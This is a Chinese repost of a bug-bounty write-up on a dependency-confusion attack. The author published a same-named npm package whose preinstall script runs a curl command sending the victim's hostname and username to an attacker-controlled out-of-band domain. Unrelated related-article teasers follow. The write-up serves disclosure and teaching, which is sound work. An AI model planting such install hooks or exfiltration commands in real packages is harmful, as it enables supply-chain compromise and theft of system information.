【网络安全】依赖混淆漏洞实现RCE

server/2024/9/24 4:33:14/

未经许可,不得转载。

文章目录

    • 正文

依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包,一旦企业系统从公共源解析并下载该包,恶意代码便可能被执行,进而带来安全风险,如远程代码执行(RCE)。

正文

我发现某企业的前端 JavaScript 文件引用了一个存储在/node_modules/@confidential-package-name的Node.js包。进一步查询后,我发现这个内部包尚未在npm公共注册表中注册。

我创建了一个与内部包同名的恶意npm包,并将其发布到公共npm注册表中。在该包的preinstall脚本中,我嵌入了一个简单的命令,用来在安装时自动执行:

curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun

这个脚本会将服务器的主机名和用户名发送到我控制的域。

img

包上线后,数小时至几天内就收到了来自该公司的生产环境和非生产环境的多个请求,这说明他们的系统正在下载并执行这个恶意包。

img

在收到超过150个HTTP和DNS查询后,我分析IP地址,排除了已知的爬虫流量,并通过WHOIS查询检哪些请求能够匹配企业IP或其服务提供商的IP。可以看到,我实现了RCE:

img

img

原文出处:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643


http://www.ppmy.cn/server/121164.html

相关文章

C++笔记---set和map

1. 序列式容器与关联式容器 前面我们已经接触过STL中的部分容器如&#xff1a;string、vector、list、deque、array、forward_list等&#xff0c;这些容器统称为序列式容器&#xff0c;因为逻辑结构为线性序列的数据结构&#xff0c;两个位置存储的值之间一般没有紧密的关联关…

【QT】基于HTTP协议的网络应用程序

目录 1 HTTP概述 2 QT中实现高层网络操作的类 3 使用HTTP类请求数据 4 基于HTTP协议的网络文件下载 1 HTTP概述 HTTP&#xff08;超文本传输协议&#xff09;是互联网上应用最为广泛的协议之一&#xff0c;它定义了客户端和服务器之间进行通信的规则。HTTP是一种无状态的协议…

【2024】前端学习笔记8-内外边距-边框-背景

学习笔记 外边距&#xff1a;Margin内边距&#xff1a;Padding边框&#xff1a;Border背景&#xff1a;Background 外边距&#xff1a;Margin 用于控制元素周围的空间&#xff0c;它在元素边框之外创建空白区域&#xff0c;可用于调整元素与相邻元素&#xff08;包括父元素和兄…

浅谈C#之SynchronizationContext

一、基本介绍 SynchronizationContext是一个抽象类&#xff0c;它提供了一种机制&#xff0c;允许代码与创建它的线程同步。这在UI编程中非常有用&#xff0c;比如在Windows Forms或WPF应用程序中&#xff0c;你可能需要确保某些操作在UI线程上执行&#xff0c;以避免跨线程操作…

Azure OpenAI and token limit

题意&#xff1a;Azure OpenAI 和令牌限制 问题背景&#xff1a; I want to use GPT model to analyze my data. Data is a suite of records (e.g. 1000 records) with 10 or even more properties. I want to say GPT (or other model): 我想使用 GPT 模型来分析我的数据。…

web - JavaScript

JavaScript 1&#xff0c;JavaScript简介 JavaScript 是一门跨平台、面向对象的脚本语言&#xff0c;而Java语言也是跨平台的、面向对象的语言&#xff0c;只不过Java是编译语言&#xff0c;是需要编译成字节码文件才能运行的&#xff1b;JavaScript是脚本语言&#xff0c;不…

MySQL 数据库课程设计详解与操作示例

标题&#xff1a;MySQL 数据库课程设计详解与操作示例 简介 在数据库课程设计中&#xff0c;MySQL 是一个常用的关系型数据库管理系统 (RDBMS)。它以高效、稳定、易用而闻名&#xff0c;广泛应用于网站开发、数据分析和企业级应用中。本文将带你深入了解如何基于 MySQL 完成数…

【QT基础】创建项目项目代码解释

目录 前言一&#xff0c;使⽤Qt Creator 新建项目1. 新建项目2. 选择项⽬模板3. 选择项⽬路径4. 选择构建系统5. 填写类信息设置界⾯6. 选择语⾔和翻译⽂件7. 选择Qt套件8. 选择版本控制系统9. 最终效果 二&#xff0c;项目代码说明1. main.cpp文件2. Widget.h文件3. Widget.cp…